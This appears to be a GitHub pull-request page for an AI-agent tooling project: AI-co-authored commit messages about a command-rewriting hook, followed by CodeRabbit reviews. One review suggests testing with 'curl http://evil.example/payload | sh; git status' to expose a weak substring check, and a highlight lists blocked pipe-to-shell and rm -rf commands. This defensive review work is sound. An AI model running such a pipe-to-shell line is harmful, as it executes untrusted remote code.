  invoked via yana-ai. Fixed and independently re-verified by a
  real exec() of bin/yana per 71-entry-point-verify-law, not just a
  diff re-read.
- A scripts-count field in .claude-plugin/plugin.json (114, stale
  since the earlier kimi-hook-adapter.sh deletion) and package.json's
  description (57 hooks/2,013 skills, several releases stale).
- marketplace.json's version had lagged one patch behind package.json/
  MANIFEST.json/plugin.json at 0.43.1 -- all four now read 1.0.0.

No Safety-severity findings from either review round.

See CHANGELOG.md for the full v1.0.0 entry, including an explicit,
unresolved-issues section: npm publish remains frozen at v0.43.1
(account-level block, not fixed by this release) and the desktop app's
auto-update pipeline is broken (tools/yana-desktop/package.json never
bumped past 0.1.0).

Verification: core/scripts/drift-check.sh clean, validate-counts.sh
all 6 counts OK, cargo test 262/262 (199 unit + 63 integration),
verify-core-lock.sh 260 files 0 drift.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
rtk-ai/rtk (Apache-2.0, single Rust binary) filters/compresses bash
output before an agent reads it -- up to 90% smaller on common dev
commands (git, test runners, linters, cloud CLIs). Documented as a
recommended companion tool, not vendored or added as a dependency:
it's an external CLI proxy, not IP worth reimplementing (unlike the
OpenSpace skill-quality case).

Kept deliberately light -- docs/reference + one README section only,
no core/rules or MANIFEST.json touch, so this doesn't trigger
54-bft-consensus-law's dual-reviewer ceremony for what is a
documentation-only addition.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
core/hooks/rtk-bridge.sh (mirrored .claude/hooks/ + .codex/hooks/ on
disk, not committed here -- .codex/ itself is separate pre-existing
uncommitted work outside this task's scope): a PreToolUse Bash hook
bridging to the external rtk CLI (github.com/rtk-ai/rtk, Apache-2.0),
which compresses command output before an agent reads it. Not vendored,
not wired into .claude/settings.json's live hook chain -- inert unless
a user sets YANA_RTK_BRIDGE=1 and has rtk installed.

Two rounds of security-auditor + code-auditor review (54-bft-consensus-
law) on this new hook found and fixed real issues before commit:
- Safety: the exit-0 path granted an explicit permissionDecision:allow
  based purely on rtk's own self-reported exit code, with no check that
  the rewrite preserved the original command. Removed -- this hook now
  only ever supplies updatedInput; Yana AI's own destructive-command
  guards and the harness's normal permission flow decide allow/deny/ask
  on whatever command actually runs, same as any command it never saw.
- Safety: rtk was resolved via bare PATH lookup. Added YANA_RTK_BIN to
  let a user pin an absolute path instead (full binary-hash pinning is
  out of scope for a single opt-in bridge -- documented as a deliberate
  tradeoff, not an oversight).
- Safety: added a verbatim-substring invariant check before trusting
  any rewrite -- an unrelated or malicious rewrite falls back to the
  untouched original command rather than being trusted blindly.
- Correctness: no timeout on the rtk call -- a hang would hang the
  whole tool call. Fixed, then hit this repo's own documented macOS
  landmine (no timeout/gtimeout by default) on the first attempt --
  now resolves timeout/gtimeout with the same degrade-gracefully
  pattern already used in hook-timeout-guard.sh.
- Correctness: no test proved the mocked rtk actually received the
  literal command text (a word-splitting regression could have passed
  all prior assertions). Added.

core/tests/hooks/test-rtk-bridge.sh: 25 assertions, including the
malformed-JSON/empty-stdin cases fuzz-testing-constraints.md requires
and a dedicated case for the invariant-rejection fallback.

docs/reference/token-optimization.md: documents what rtk is, install,
how to wire the bridge hook in, and states the data-exposure property
plainly (command text transits an unaudited third-party process once
enabled) per 68-principal-confidentiality-law.md.

Also fixes stale hook/test counts this addition caused: MANIFEST.json
(hooks 61->62, tests 10->11), plugin.json (hooks 61->62), marketplace/
SKILL.md/docs html "61 hooks" mentions -> 62. core-lock.json regenerated
post-review (261 files pinned). drift-check.sh clean, run-hook-tests.sh
260/260.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
anh confirmed explicitly (AskUserQuestion) after installing rtk 0.43.0
via brew and verifying end-to-end: a raw git status command becomes
"rtk git status" after the rewrite, exit 0, valid updatedInput JSON,
no permissionDecision (per the security fixes already committed in
e062f2a).

This is the step security-auditor's review explicitly gated on: "before
this is ever wired into .claude settings.json". All 5 of that
reviewer's prerequisites were already addressed in e062f2a before this
commit. YANA_RTK_BRIDGE=1 is now baked into the hook invocation itself
(matching the existing YANA_GUARDED_HOOK convention), so it runs
automatically without anh needing to export an env var per session.

run-hook-tests.sh 260 of 260 passing, core-lock unaffected (settings
json is not in the pinned set), end-to-end simulation through
hook-timeout-guard.sh confirmed working with the real rtk binary, not
just mocks.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
@codesandbox

codesandbox Bot commented Jul 26, 2026

Copy link
Copy Markdown

Review or Edit in CodeSandbox

Open the branch in Web EditorVS CodeInsiders

Open Preview

@chatgpt-codex-connector

Copy link
Copy Markdown

You have reached your Codex usage limits for code reviews. You can see your limits in the Codex usage dashboard.

@cloudflare-workers-and-pages

cloudflare-workers-and-pages Bot commented Jul 26, 2026

Copy link
Copy Markdown
Contributor

Deploying with  Cloudflare Workers  Cloudflare Workers

The latest updates on your project. Learn more about integrating Git with Workers.

Status Name Latest Commit Preview URL Updated (UTC)
✅ Deployment successful!
View logs
yana 64dcd4e Commit Preview URL

Branch Preview URL
Jul 27 2026, 01:50 AM

@coderabbitai

coderabbitai Bot commented Jul 26, 2026

Copy link
Copy Markdown

Review Change Stack

📝 Walkthrough

Walkthrough

PR phát hành phiên bản sản phẩm 1.0.0, thêm hook rtk-bridge, nâng cấp wiring engine Cursor/Codex/Antigravity, mở rộng CLI dispatch và đồng bộ metadata, README, tài liệu cùng số liệu hooks.

Changes

Tích hợp rtk-bridge

Layer / File(s) Summary
Hook rewrite và kiểm thử
.claude/hooks/rtk-bridge.sh, core/hooks/rtk-bridge.sh, core/tests/hooks/*, docs/reference/token-optimization.md
Thêm hook opt-in gọi rtk rewrite, chỉ phát updatedInput khi rewrite hợp lệ, xử lý timeout/exit code và kiểm thử các trường hợp pass-through, quoting, malformed input và binary được ghim.
Lockfile và tài liệu hook
core/config/core-lock.json
Đăng ký hook mới và cập nhật hash của các script liên quan.

Engine wiring

Layer / File(s) Summary
Cursor hard enforcement và engine routing
core/scripts/switch-engine.sh, .claude/scripts/switch-engine.sh
Wire beforeShellExecution của Cursor, ghi nhận trạng thái MDC/hook/hooks.json, thêm cấu hình Antigravity và cập nhật status cho Cursor/Codex.
Adapter và kiến trúc
adapters/README.md, adapters/antigravity.md, .agent/rules/yana-ai.md, docs/ARCHITECTURE.md, .claude/docs/ARCHITECTURE.md, docs/reference/cli-reference.md
Cập nhật danh sách engine, mapping enforcement và hướng dẫn sử dụng Antigravity/Codex/Cursor.

CLI và phát hành

Layer / File(s) Summary
CLI dispatch và metadata
bin/yana, package.json, MANIFEST.json, .claude-plugin/*, CHANGELOG.md, skills/yana-ai/SKILL.md
Thêm dispatch cho observabilityskill-quality; cập nhật version lên 1.0.0 cùng bộ đếm hooks, scripts, tests và skills.

Tài liệu sản phẩm

Layer / File(s) Summary
README và trang hiển thị
README*.md, docs/index.html, docs/desktop.html, docs/reference/architecture.md
Đồng bộ version, số hooks, danh sách bốn adapter, hướng dẫn switch-engine.sh và nội dung giới thiệu rtk trên các ngôn ngữ và trang HTML.

Estimated code review effort: 4 (Complex) | ~45 minutes

Sequence Diagram(s)

sequenceDiagram
  participant Agent
  participant switch-engine.sh
  participant Cursor
  participant before-shell-execution.js
  Agent->>switch-engine.sh: chọn engine cursor
  switch-engine.sh->>Cursor: ghi rule và wire beforeShellExecution
  Cursor->>before-shell-execution.js: gửi lệnh trước khi chạy
  before-shell-execution.js-->>Cursor: cho phép hoặc chặn theo hook
Loading

Possibly related PRs

Poem

Thỏ gõ lệnh, rtk lọc nhanh,
Hook canh cửa, chẳng chạy quanh.
Cursor wire móc trước shell,
V1.0 nở — cà rốt reo! 🐇

🚥 Pre-merge checks | ✅ 4 | ❌ 1

❌ Failed checks (1 inconclusive)

Check name Status Explanation Resolution
Title check ❓ Inconclusive Tiêu đề có nhắc đến "skills" nhưng quá mơ hồ và không nêu được thay đổi chính của PR. Đổi tiêu đề thành một câu ngắn, cụ thể hơn, nêu rõ thay đổi chính như bump version/harness adapters/rtk bridge.
✅ Passed checks (4 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Docstring Coverage ✅ Passed Docstring coverage is 100.00% which is sufficient. The required threshold is 80.00%.
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.
✨ Finishing Touches
📝 Generate docstrings
  • Create stacked PR
  • Commit on current branch
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch feat/build-your-own-x-skills

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 18

Note

Due to the large number of review comments, Critical, Major severity comments were prioritized as inline comments.

🟡 Minor comments (11)
core/scripts/switch-engine.sh-199-208 (1)

199-208: 🔒 Security & Privacy | 🟡 Minor | ⚡ Quick win

Thêm ràng buộc phiên bản Cursor cho .cursor/hooks.json.

.cursor/hooks.jsonbeforeShellExecution mới đúng với Cursor recent, nhưng script hiện chỉ nói “Cursor picks up these files automatically” và báo “REAL enforcement active” ngay sau khi copy file + viết hook. Cần cảnh báo/kiểm tra phiên bản Cursor hỗ trợ API này, hoặc giới hạn rõ ràng script cho Cursor version tương thích để tránh gây hiểu lầm khi hook file nằm trên đĩa nhưng IDE đời cũ không chạy.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@core/scripts/switch-engine.sh` around lines 199 - 208, Update the hook
installation flow around HOOK_SRC, HOOK_DEST, and _HOOK_FILE_WIRED to verify
that the installed Cursor version supports .cursor/hooks.json and
beforeShellExecution before claiming real enforcement is active. If the version
is unsupported or cannot be verified, warn clearly or stop installation, and do
not set _HOOK_FILE_WIRED or print the success message unless compatibility is
confirmed.
README.ko.md-39-39 (1)

39-39: 📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win

버전 배지에 alt를 추가하세요.

Line 39의 <img>alt가 없어 markdownlint MD045 경고가 발생합니다.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@README.ko.md` at line 39, README.ko.md의 버전 배지 img 요소에 의미를 설명하는 alt 속성을 추가하여
MD045 경고를 해결하세요.

Source: Linters/SAST tools

README.vi.md-39-39 (1)

39-39: 📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win

Thêm alt cho badge phiên bản.

Thẻ hình ở Line 39 thiếu alt, phù hợp với cảnh báo markdownlint MD045.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@README.vi.md` at line 39, Thêm thuộc tính alt mô tả cho thẻ hình badge phiên
bản trong README.vi.md, giữ nguyên src và các thuộc tính hiển thị hiện có.

Source: Linters/SAST tools

README.zh.md-39-39 (1)

39-39: 📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win

为版本徽章添加 alt

Line 39 的 <img> 缺少 alt 属性,触发 markdownlint MD045。

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@README.zh.md` at line 39, 为 README.zh.md 中的版本徽章 img 元素添加描述性 alt 属性,保留现有 src
和其他属性不变,以满足 markdownlint MD045。

Source: Linters/SAST tools

README.md-12-14 (1)

12-14: 🗄️ Data Integrity & Integration | 🟡 Minor | ⚡ Quick win

Đổi số hook trong summary đầu README thành 62.

Line 14 vẫn ghi 61 hooks, trong khi MANIFEST.json và .claude-plugin/plugin.json đều ghi 62. Các số liệu cũ khác trong cây kiến trúc bên dưới cũng cần được đồng bộ để README không tự mâu thuẫn.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@README.md` around lines 12 - 14, Cập nhật summary đầu README và các số liệu
hook liên quan trong phần cây kiến trúc để dùng 62 hooks, đồng bộ với
MANIFEST.json và .claude-plugin/plugin.json; giữ nguyên các số liệu không liên
quan và đảm bảo README không còn chỗ nào mâu thuẫn về số lượng hook.
README.vi.md-12-14 (1)

12-14: 🗄️ Data Integrity & Integration | 🟡 Minor | ⚡ Quick win

Đồng bộ toàn bộ số liệu trong README.

Phần đầu vẫn ghi 61 hooks, cây kiến trúc ghi 57 hooks, còn phần mới ghi 2.025 skills trong khi cây kiến trúc vẫn ghi 2.016. Hãy dùng giá trị chuẩn 62 hooks và 2.025 skills cho mọi vị trí.

Also applies to: 260-260, 354-354

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@README.vi.md` around lines 12 - 14, Đồng bộ các số liệu hooks và skills trong
README.vi.md: cập nhật mọi vị trí đang ghi 61 hoặc 57 hooks thành 62 hooks, và
mọi vị trí đang ghi 2.016 skills thành 2.025 skills, bao gồm các khu vực được
chỉ rõ trong phần đầu và cây kiến trúc.
README.zh.md-12-14 (1)

12-14: 🗄️ Data Integrity & Integration | 🟡 Minor | ⚡ Quick win

同步 README 中的所有统计数字。

顶部仍写 61 hooks,架构树写 57 hooks,而新增内容写 2,025 skills;下方架构树仍保留 2,016 skills。请统一使用 MANIFEST.json 的 62 hooks 和 2,025 skills。

Also applies to: 259-259, 353-353

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@README.zh.md` around lines 12 - 14, Update all README.zh.md statistics and
architecture-tree references to match MANIFEST.json: use 62 hooks and 2,025
skills consistently, including the locations noted in the comment, replacing
stale 61/57 hooks and 2,016 skills values.
README.ko.md-12-14 (1)

12-14: 🗄️ Data Integrity & Integration | 🟡 Minor | ⚡ Quick win

동기화되지 않은 수량을 모두 수정하세요.

상단에는 61 hooks, 아키텍처 트리에는 57 hooks, 새 섹션에는 2,025 skills가 표시되지만 다른 아키텍처 줄은 여전히 2,016 skills입니다. 기준값인 62 hooks와 2,025 skills에 맞춰 모든 발생 위치를 갱신해야 합니다.

Also applies to: 259-259, 353-353

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@README.ko.md` around lines 12 - 14, Update every architecture and summary
count in README.ko.md to the canonical totals: replace all hooks counts with 62
and all skills counts with 2,025, including the top summary, architecture tree,
and referenced sections, without changing unrelated counts or text.
README.md-39-39 (1)

39-39: 📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win

Thêm alt cho badge phiên bản.

Thẻ <img> ở Line 39 không có thuộc tính alt, đúng với cảnh báo MD045 từ markdownlint.

Đề xuất sửa
-  <img src="https://img.shields.io/badge/version-v1.0.0-orange?style=for-the-badge" />
+  <img src="https://img.shields.io/badge/version-v1.0.0-orange?style=for-the-badge" alt="Yana AI version 1.0.0" />
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@README.md` at line 39, Update the version badge img element in README.md to
include a descriptive alt attribute, resolving the MD045 accessibility warning
while preserving the existing badge source and styling.

Source: Linters/SAST tools

.claude-plugin/marketplace.json-9-9 (1)

9-9: 🗄️ Data Integrity & Integration | 🟡 Minor | ⚡ Quick win

Đồng bộ số hook trong phần highlights.

tagline đã đổi thành 62 hooks, nhưng metadata.highlights ở Line 28 vẫn ghi 60 hooks. Marketplace sẽ hiển thị hai số khác nhau cho cùng một artifact.

Đề xuất sửa
-      "60 safety hooks — blocks rm -rf, force push, pipe-to-shell, prod deploys, circuit breaker at 5 stuck calls",
+      "62 safety hooks — blocks rm -rf, force push, pipe-to-shell, prod deploys, circuit breaker at 5 stuck calls",
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.claude-plugin/marketplace.json at line 9, Đồng bộ số lượng hooks trong
metadata.highlights với tagline bằng cách cập nhật giá trị “60 hooks” thành “62
hooks”, giữ nguyên các highlight khác.
docs/reference/token-optimization.md-79-85 (1)

79-85: 📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win

Ví dụ wiring thiếu biến YANA_RTK_BRIDGE=1 nên sẽ không kích hoạt được gì cả.

Hook tự thoát ngay (dòng 44 của rtk-bridge.sh) nếu YANA_RTK_BRIDGE không phải "1". Snippet mẫu ở đây chỉ chạy "command": "bash .claude/hooks/rtk-bridge.sh" mà không set biến này, nên người dùng làm theo hướng dẫn sẽ không thấy hiệu ứng gì, mâu thuẫn với phần "Optional: Yana AI's own bridge hook" phía trên (dòng 54-56) đã yêu cầu export YANA_RTK_BRIDGE=1. Ngoài ra, việc thêm hook này "alongside the existing PreToolUse|Bash hooks" (bao gồm sandbox-wrap.sh) sẽ tái tạo race điều kiện updatedInput đã nêu ở .claude/settings.json.

📝 Đề xuất sửa ví dụ
 ```json
-{ "matcher": "Bash", "hooks": [
-  { "type": "command", "command": "bash .claude/hooks/rtk-bridge.sh" }
+{ "matcher": "Bash", "hooks": [
+  { "type": "command", "command": "YANA_RTK_BRIDGE=1 bash .claude/hooks/rtk-bridge.sh" }
 ]}
</details>

<details>
<summary>🤖 Prompt for AI Agents</summary>

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @docs/reference/token-optimization.md around lines 79 - 85, Update the
rtk-bridge hook example in the documentation to set YANA_RTK_BRIDGE=1 in the
command so the hook activates when users copy the snippet. Also avoid
instructing users to add it alongside the existing PreToolUse|Bash hooks in a
way that recreates the updatedInput race; align the example with the ordering or
configuration guidance in .claude/settings.json.


</details>

<!-- cr-comment:v1:d4ec0ba4e8c24a58ab838541 -->

</blockquote></details>

</blockquote></details>

<details>
<summary>🧹 Nitpick comments (4)</summary><blockquote>

<details>
<summary>.claude/scripts/switch-engine.sh (1)</summary><blockquote>

`3-3`: _📐 Maintainability & Code Quality_ | _🔵 Trivial_ | _⚖️ Poor tradeoff_

**Bản sao nguyên văn của `core/scripts/switch-engine.sh` — cân nhắc sinh tự động thay vì duy trì hai bản.**

Toàn bộ ~390 dòng trùng khớp. Hai bản sẽ trôi lệch theo thời gian; nếu đã có cơ chế đồng bộ (core-lock.json) thì nên bổ sung kiểm tra drift trong CI thay vì chỉnh tay cả hai.







Also applies to: 80-90, 170-208, 242-270, 334-337, 383-387

<details>
<summary>🤖 Prompt for AI Agents</summary>

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.claude/scripts/switch-engine.sh at line 3, Remove the duplicated
maintenance copy of switch-engine.sh and establish a single source of truth,
preferably by generating the .claude version from core/scripts/switch-engine.sh.
Integrate a CI drift check using the existing core-lock.json synchronization
mechanism so generated copies cannot diverge, while preserving the script’s
current behavior and supported engines.


</details>

<!-- cr-comment:v1:325aae264e0f27e4cd96d778 -->

</blockquote></details>
<details>
<summary>docs/index.html (1)</summary><blockquote>

`568-568`: _🔒 Security & Privacy_ | _🔵 Trivial_ | _⚡ Quick win_

**Không quảng bá hook opt-in như lớp bảo vệ mặc định.**

`CHANGELOG.md` đã ghi rõ `core/hooks/rtk-bridge.sh` chỉ chạy khi bật opt-in và không nằm trong default hook chain. Vì vậy, các văn bản vẫn nên tách “hooks mặc định” khỏi “hooks sẵn có/opt-in”, hoặc điều chỉnh số và wording để tránh người dùng hiểu nhầm tất cả “62 hooks” đều được bật/ngăn chặn mặc định.

<details>
<summary>🤖 Prompt for AI Agents</summary>

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @docs/index.html at line 568, Clarify the hook-count and protection wording
so opt-in hooks are not presented as enabled by default. Update the
corresponding text in docs/index.html:568-568, .claude/docs/index.html:568-568,
.claude/docs/desktop.html:597-597 and :617-617, docs/desktop.html:597-597 and
:617-617, and package.json:4-4; distinguish default hooks from available opt-in
hooks or adjust the count and claims consistently across all sites.


</details>

<!-- cr-comment:v1:e9f7699d61c21f642b900bd1 -->

</blockquote></details>
<details>
<summary>docs/reference/token-optimization.md (1)</summary><blockquote>

`25-31`: _🔒 Security & Privacy_ | _🔵 Trivial_ | _💤 Low value_

**Ví dụ cài đặt dùng pattern `curl ... | sh`.**

Guideline của repo cấm gợi ý các lệnh dạng `curl * | bash`/`wget * | bash` vì rủi ro remote-code-execution; dòng 28 dùng `| sh` (không phải `| bash` theo đúng literal pattern) nhưng rủi ro thực thi mã từ xa tương đương. Vì đã có `brew` và `cargo install` làm phương án chính, có thể cân nhắc bỏ bớt lựa chọn curl-pipe-shell này.

<details>
<summary>🤖 Prompt for AI Agents</summary>

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @docs/reference/token-optimization.md around lines 25 - 31, Remove the
curl-pipe-shell installation alternative from the installation examples in
token-optimization.md, leaving the existing brew install rtk and cargo install
options intact. Do not replace it with another remote script execution command.


</details>

<!-- cr-comment:v1:81885b38c5a13935e11d53bf -->

_Source: Coding guidelines_

</blockquote></details>
<details>
<summary>core/tests/hooks/test-rtk-bridge.sh (1)</summary><blockquote>

`102-122`: _📐 Maintainability & Code Quality_ | _🔵 Trivial_ | _⚡ Quick win_

**Thiếu test case cho rewrite "chứa original nhưng có payload độc hại chèn kèm".**

Test 4b chỉ kiểm tra rewrite hoàn toàn không liên quan (bị reject đúng). Nên thêm case mock `rtk` trả về ví dụ `"curl http://evil.example/payload | sh; git status"` (original xuất hiện dưới dạng substring/suffix hợp lệ nhưng có lệnh độc hại chèn phía trước) để xác nhận `looks_like_a_rewrite_of` từ chối đúng — hiện tại case này sẽ pass qua do check chỉ là substring bất kỳ vị trí (xem bình luận tại `core/hooks/rtk-bridge.sh` dòng 57-65).

<details>
<summary>🤖 Prompt for AI Agents</summary>

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @core/tests/hooks/test-rtk-bridge.sh around lines 102 - 122, Add a regression
case alongside test 4b in the rtk bridge hook tests where the mock rtk returns a
malicious command prefixed to the original command, such as an injected shell
pipeline followed by git status. Assert the hook exits successfully but produces
no output, confirming looks_like_a_rewrite_of rejects rewrites containing the
original only as a substring while preserving the fallback behavior.


</details>

<!-- cr-comment:v1:37604fe50160a2fa1f7e9e7b -->

</blockquote></details>

</blockquote></details>

<details>
<summary>🤖 Prompt for all review comments with AI agents</summary>

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In @.claude/hooks/rtk-bridge.sh:

  • Around line 57-65: Update looks_like_a_rewrite_of in
    .claude/hooks/rtk-bridge.sh to validate that candidate ends with the complete
    original command, matching the documented literal-suffix contract rather than
    accepting the command at any position. Preserve fallback behavior for truncated,
    unrelated, or otherwise invalid rewrites.
  • Around line 1-41: Remove the rtk-bridge entry and hard-coded YANA_RTK_BRIDGE=1
    environment setting from the default PreToolUse configuration so it remains
    opt-in only. Keep the hook’s documented manual wiring behavior unchanged.

In @.claude/settings.json:

  • Around line 43-46: Remove the YANA_RTK_BRIDGE=1 environment assignment from
    the default PreToolUse command entry in .claude/settings.json, while preserving
    the remaining hook invocation and YANA_GUARDED_HOOK configuration. Keep
    rtk-bridge activation opt-in through the documented setup rather than enabling
    it in the default chain.

In @adapters/antigravity.md:

  • Around line 98-103: The safe-run.sh usage example incorrectly includes the
    unsupported -- separator; remove it from the Manual use example in
    adapters/antigravity.md lines 98-103, then regenerate or apply the same update
    to .agent/rules/yana-ai.md lines 98-103 so both copies match.

In @core/hooks/rtk-bridge.sh:

  • Around line 1-41: Cập nhật cấu hình liên quan đến hook rtk để giữ đúng tuyên
    bố trong phần đầu của rtk-bridge.sh: không đưa hook vào chuỗi PreToolUse mặc
    định và không hard-code YANA_RTK_BRIDGE=1. Nếu vẫn hỗ trợ kích hoạt thủ công,
    chỉ giữ cơ chế opt-in qua biến môi trường YANA_RTK_BRIDGE và bảo đảm cấu hình
    .claude/settings.json không tự động chạy hook này.
  • Around line 57-65: Update looks_like_a_rewrite_of so it accepts a candidate
    only when original is an exact literal suffix of candidate, not merely an
    occurrence anywhere within it. Preserve the fallback to the untouched original
    command for non-matching rewrites, ensuring prefixed or appended injected
    commands are rejected.

In @docs/reference/architecture.md:

  • Line 15: Cập nhật toàn bộ số liệu trong docs/reference/architecture.md theo
    MANIFEST.json hiện tại, gồm 2,025 skills, 71 rules và 62 hooks; regenerate mọi
    bảng và sơ đồ liên quan bằng generate-stats.py để generate-stats.py --check
    không còn phát hiện drift. Giữ banner phiên bản hiện tại và chỉ thay đổi các số
    liệu cần đồng bộ.

In @docs/reference/token-optimization.md:

  • Around line 64-74: Update the documentation statement about rewrite validation
    to match the actual looks_like_a_rewrite_of behavior: it only checks that the
    original command appears verbatim somewhere in the rewritten output and does not
    prevent additional content around it. Replace the stronger “refuses to trust”
    claim with accurate wording, while preserving the documented fallback and
    binary-pinning behavior.
  • Around line 47-52: Update the “Optional: Yana AI's own bridge hook” section to
    match the current default hook configuration: core/hooks/rtk-bridge.sh and its
    mirrored hook are wired into the default PreToolUse Bash hook chain, so remove
    the claim that they are opt-in or inactive unless manually enabled.

In @MANIFEST.json:

  • Line 369: Rebuild the MANIFEST.json inventory lists, updating both the
    components.hooks and components.scripts actual_present entries and their count
    fields to match the discovered paths. Ensure core/hooks/rtk-bridge.sh is
    included, then rerun drift and count validation so all affected manifest
    sections are consistent before release.

In @README.ko.md:

  • Around line 134-135: README의 최신 버전 설치 안내에서 영향을 받은 PyPI 배포본을 pip로 권장하지 않도록
    수정하세요. npm 동결 안내와 동일한 경고 맥락을 유지하면서, PyPI 수정본이 배포될 때까지 cargo install yana-rt 또는
    소스 설치만 최신 버전 경로로 안내하거나 pip가 여전히 영향을 받는다는 점을 명시하세요.

In @README.md:

  • Around line 134-142: Update the README note around the npm version freeze so
    it no longer recommends pip install yana-ai while the latest PyPI release
    remains affected by the runaway CPU issue. Recommend cargo install yana-rt or
    source installation instead, or explicitly warn that the PyPI package is not yet
    safe until a fixed release is available.

In @README.vi.md:

  • Around line 134-135: Update the installation guidance in README.vi.md to stop
    recommending pip install yana-ai while PyPI still contains the unsafe release;
    recommend cargo install yana-rt or source installation instead, or explicitly
    mark the pip option as unsafe until the fixed PyPI version is available.

In @README.zh.md:

  • Around line 134-135: 更新 README.zh.md 中关于获取当前版本的说明,移除对 “pip install yana-ai”
    的推荐;在修复版本发布前仅推荐 “cargo install yana-rt” 或源码安装,并保留 npm 冻结版本的现有说明。

In @src/skill_quality.rs:

  • Around line 351-486: Move the entire cfg(test) tests module from
    skill_quality.rs into a dedicated test submodule file, such as tests.rs, and
    include it from skill_quality.rs using the appropriate module path declaration.
    Preserve all existing test helpers, imports, and test behavior while reducing
    the main source file below the 300-line limit.
  • Around line 109-113: Update load_store to handle read and JSON parse failures
    explicitly: preserve the default store only when the file does not exist, and
    emit a warning with the relevant error details when reading or parsing an
    existing ledger fails. Do not silently return an empty store for corrupted or
    inaccessible files before record_outcome can overwrite it.
  • Around line 271-327: Refactor cmd_show so it stays within the 50-line function
    limit by extracting the single-skill display branch and the aggregate table
    display branch into separate helper functions. Keep cmd_show responsible only
    for loading the store and dispatching based on the optional skill and json
    arguments, preserving all existing output and behavior in the extracted helpers.
  • Around line 115-120: Update save_store to handle serialization,
    directory-creation, and file-write failures without panicking; report the
    failure and return instead. Preserve the existing successful-save behavior so
    record_outcome and cmd_eval_judge can finish and print the verdict even when
    persistence fails.

Minor comments:
In @.claude-plugin/marketplace.json:

  • Line 9: Đồng bộ số lượng hooks trong metadata.highlights với tagline bằng cách
    cập nhật giá trị “60 hooks” thành “62 hooks”, giữ nguyên các highlight khác.

In @core/scripts/switch-engine.sh:

  • Around line 199-208: Update the hook installation flow around HOOK_SRC,
    HOOK_DEST, and _HOOK_FILE_WIRED to verify that the installed Cursor version
    supports .cursor/hooks.json and beforeShellExecution before claiming real
    enforcement is active. If the version is unsupported or cannot be verified, warn
    clearly or stop installation, and do not set _HOOK_FILE_WIRED or print the
    success message unless compatibility is confirmed.

In @docs/reference/token-optimization.md:

  • Around line 79-85: Update the rtk-bridge hook example in the documentation to
    set YANA_RTK_BRIDGE=1 in the command so the hook activates when users copy the
    snippet. Also avoid instructing users to add it alongside the existing
    PreToolUse|Bash hooks in a way that recreates the updatedInput race; align the
    example with the ordering or configuration guidance in .claude/settings.json.

In @README.ko.md:

  • Line 39: README.ko.md의 버전 배지 img 요소에 의미를 설명하는 alt 속성을 추가하여 MD045 경고를 해결하세요.
  • Around line 12-14: Update every architecture and summary count in README.ko.md
    to the canonical totals: replace all hooks counts with 62 and all skills counts
    with 2,025, including the top summary, architecture tree, and referenced
    sections, without changing unrelated counts or text.

In @README.md:

  • Around line 12-14: Cập nhật summary đầu README và các số liệu hook liên quan
    trong phần cây kiến trúc để dùng 62 hooks, đồng bộ với MANIFEST.json và
    .claude-plugin/plugin.json; giữ nguyên các số liệu không liên quan và đảm bảo
    README không còn chỗ nào mâu thuẫn về số lượng hook.
  • Line 39: Update the version badge img element in README.md to include a
    descriptive alt attribute, resolving the MD045 accessibility warning while
    preserving the existing badge source and styling.

In @README.vi.md:

  • Line 39: Thêm thuộc tính alt mô tả cho thẻ hình badge phiên bản trong
    README.vi.md, giữ nguyên src và các thuộc tính hiển thị hiện có.
  • Around line 12-14: Đồng bộ các số liệu hooks và skills trong README.vi.md: cập
    nhật mọi vị trí đang ghi 61 hoặc 57 hooks thành 62 hooks, và mọi vị trí đang ghi
